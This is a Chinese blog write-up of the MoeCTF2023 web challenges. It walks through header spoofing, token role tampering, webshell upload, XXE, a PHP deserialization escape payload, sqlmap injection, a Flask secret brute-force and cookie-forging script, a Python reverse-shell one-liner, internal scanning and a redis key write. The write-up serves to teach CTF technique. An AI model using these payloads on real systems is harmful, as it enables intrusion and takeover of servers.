MoeCTF2023 wp--web篇

好久没有用这个,今天记录一下MoeCTF2023的解题记录吧。新生赛,题目难度比较适合入门,各考点也比较清晰,还是不错的。

二、Web

1.http

CHALLENGE: http
DESCRIPTION: 听说这个http里还有个什么东西叫饼干,也不知道是不是吃的

 

看题目信息,第一眼就是cookie。进入题目看看。

 

 

要求:1.get传入UwU=u;

2.post传入Luv=u;

3.用户名是admin

4.来源是127.0.0.1

5.使用浏览器是MoeBrowser

前两个很简单,不用多说。既然要修改流量包,那我们抓包看看。

  首先可以看到,这里构造了,getpost的参数。响应提示,第一和第二个已经完成。。。看看图片截图处,guset。很明显,改成admin试试。

 

 

 okk。第三个完成。第四个,xff即可。

 

 

 第五个,修改浏览器标识即可。

 

 

2.Web入门指北

 这个题没有什么好写的,直接在文档内找flag即可 。

3.彼岸的fLag

CHALLENGE: 彼岸的flag
DESCRIPTION: 我们在某个平行宇宙中得到了一段moectf群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的flag

 

提示,看不来什么东西,进入题目看看。

 

 

 翻了一遍,也没有什么有用的东西。在源代码内,看到flagPS;我们在做web题的时候,没有思路可以看看源代码有无提示。

 

 

4.cookie

CHALLENGE: cookie
DESCRIPTION: **本题无需扫描器/爆破**
hint: readme只是一个样例,不是拿来复制的

 题目存在附件,先打开看看。

 一个注册和登录的接口文档。获取flag看看。

 提示,你必须先登录才可以。

既然有注册接口,那么就先注册一个账号吧。PS:使用附件给的会提示用户存在。

 然后在登录看看。

 登录成功,给了一个token。先看看能不能拿flag。。PS:这里需要把登录得到的flag放到cookie里。

 enmmm。果然flag不是那么好拿的。提示需要admin。。那么再看看给的token

 把角色改为admin看看。

 

 

okk。拿到flag

5.gas! gas! gas!

CHALLENGE: gas!gas!gas!

DESCRIPTION: Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?

 

提示没有发现有效信息。进入题目看看。

 

 给了提示,1,2,3,4.因为要0.5s内完成。所有就写脚本吧。话不多说,上脚本。不知道参数怎么来的,可以先bp抓包就可以得到。

 

 

6.moe图床

CHALLENGE: moe图床

DESCRIPTION: 我们准备了一个moe图床用于上传一些图片

hint: 链接难道给的有问题吗0.0?

 

看提示,没有发现有效信息。打开题目看看。

 

 一个文件上传。先随便传个正常图片看看。

得到一个地址,访问看看咯。PS:这里还泄露一个物理路径。

 打开之后,发现还是正常的。enmmm。没有其他问题。。。。。那么回到首页。然后在看看源代码?

 这里有个upload.php。访问看看。

 哦吼,拿到源代码。审计看看。

 ok。他只取第一个后缀。我们构造一下。

 插入一句话。将后缀添加.php。。。发现上传成功,访问看看。

 成功,现在就找flag就行。

 

 

7.了解你的座驾

CHALLENGE: 了解你的座驾

DESCRIPTION: 为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。

 

看提示,发现flag在根目录。。。。大多数不是都在根目录?

进入题目看看,

 

 

enmmm。让我们选车。逛了一下。没有发现点。

查看源代码。

 这是啥?xxe?然后在看看流量包。

 

这不就是xxe嘛。。。试试看。

 

注意。这里需要url编码。

 

8.大海捞针

CHALLENGE: 大海捞针

DESCRIPTION: 该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙...(难道flag在多元宇宙里是全局变量吗)

 

tips:仅有这道题要用到扫描器,请不要将爆破速度调整过快,flag是一定能找到的

环境:

http://101.42.178.83:7771/

 

提示。需要爆破。进题目看看。

 

 提示。id1-1000.那就直接开搞吧。在163时,发现长度变大了。。直接看,拿到flag

 

 

 

9.meo图床

CHALLENGE: meo图床

DESCRIPTION: 我们准备了一个meo(?)图床用于上传一些图片

 

这个提示,也没有什么东西。看看题目。

 

 还是一个文件上传。会不会和刚才那个一样?

upload.php空白

 那就在上传一张照片看看吧。

 看看图片。。

 这里是用name作为参数传递的。。。试试会不会有任意文件读取。

 bp里面在看看。

 

读取成功。。那么读flag呗。

 一个大写的尴尬。。。不过给了一个一个地址。进去看看。。

 一眼望去。都不要审计。。。md5绕过。。

 

 

10.夺命十三枪

CHALLENGE: 夺命十三枪

DESCRIPTION: 夺命十三枪!然后是啥来着?

看不懂这个提示。那就相当于没有提示吧。。。进入题目看看。

 

 php反序列化的题目。头部文件包含。看看这个文件

 存在一个静态引用函数Make_a_Move及str_replace。

str_replace存在反序列化的字符串逃逸

 然后我们在重新理一下。目的是在夺命十三枪后面修改为";s:11:"Spear_Owner";s:6:"MaoLei";},该字符串长度为35,根据代码可以知道"di_qi_qiang" => "Penetrating_Gaze",刚好是从11->16,每次转换可以逃逸5个字符串,只需要重复7次"di_qi_qiang"即可完成逃逸,所以最终payload:?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

 

 

 

11.Signin

CHALLENGE: signin

DESCRIPTION: 真的是signin(

**本题无需扫描器/爆破**

 

提示,无需扫描爆破。估计有点绕。。。存在一个附件,打开看看。一个py。

 

最终审计下来,可以利用字符和数字进行绕过,例如username="1"  password=1

paylaod = {"username":"1","password":1}    在base64编码5次即可

12.出去旅游的心海

CHALLENGE: 出去旅游的心海

DESCRIPTION: 欢迎来到心海新建的博客!正值假期期间,她抓紧时间出去旅游放松一下,看看她最近都在研究什么?

http://101.42.178.83:7770/

 

这里有一个sql注入wordpress/wp-content/plugins/visitor-logging/logger.php。。。注意一下时间,随便写一个123就行。然后sqlmap一把梭即可。

13.Moeworld

CHALLENGE: moeworld

DESCRIPTION: 你已经学会了1+1=2,接下来尝试真实的渗透吧~

解压密码为“出去旅游的心海”的flag

 

 根据上一个题目的flag。解压压缩包。得到

 访问题目

 是一个登录,提示,不用爆破。注册一个账号并登录看看。

 第一个提示,secret_key  那应该就是session伪造了。

看看cookie

 题目给的secret_key,还差最后4位(不知道为什么是4位的运行一下secret_key的代码)。那就用得到的session去爆破key吧。以下是爆破脚本。

#!/usr/bin/env python3
""" Flask Session Cookie Decoder """
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM:
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)

    @staticmethod
    def decode(session_cookie_value, secret_key=None):
        try:
            if secret_key is None:
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)


if __name__ == "__main__":
    cnt = 1
    key = "This-random-secretKey-you-can't-gete9d4"
    # print(FSCM.encode(key,"{'power': 'admin', 'user': 'admin'}"))
    while True:
        cookie_value = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImFkbWluMTIzIn0.ZRJTGQ.UYcHGGb1O6nBfbSwzO06vQ7lDco'
        secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
        if secret_key:
            result = FSCM.decode(cookie_value, secret_key)
        else:
            result = FSCM.decode(cookie_value)
        cnt += 1
        print(result, cnt)
        if 'power' in result:
            print(result, secret_key, 'YES')
            break

将爆破的key在进行session伪造(将注释的代码解掉,修改key为爆破成功的key即可)。

修改cookie。在访问看看。

 这里多了一个提示。访问console看看。

 一个命令执行框,反弹shell。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在根目录下拿到flag。。。在根据文本提示,打开readme。得到提示。

 首先看看ip。cat /etc/hosts

 

进入/app/tools目录找到fscan进行扫描。根据提示拿到开始压缩包密码(22-3306-6379-8080)。打开文件看看

 那么目的很明确了。一个mysql,一个redis。

上代理,从当前服务器的工作目录下,发现数据库配置文件。打开得到数据库信息

 连接数据库得到flag。

然后redis写公钥,拿到另外flag。

 

posted @ 2023-09-22 15:45  mogic  阅读(2455)  评论(3编辑  收藏  举报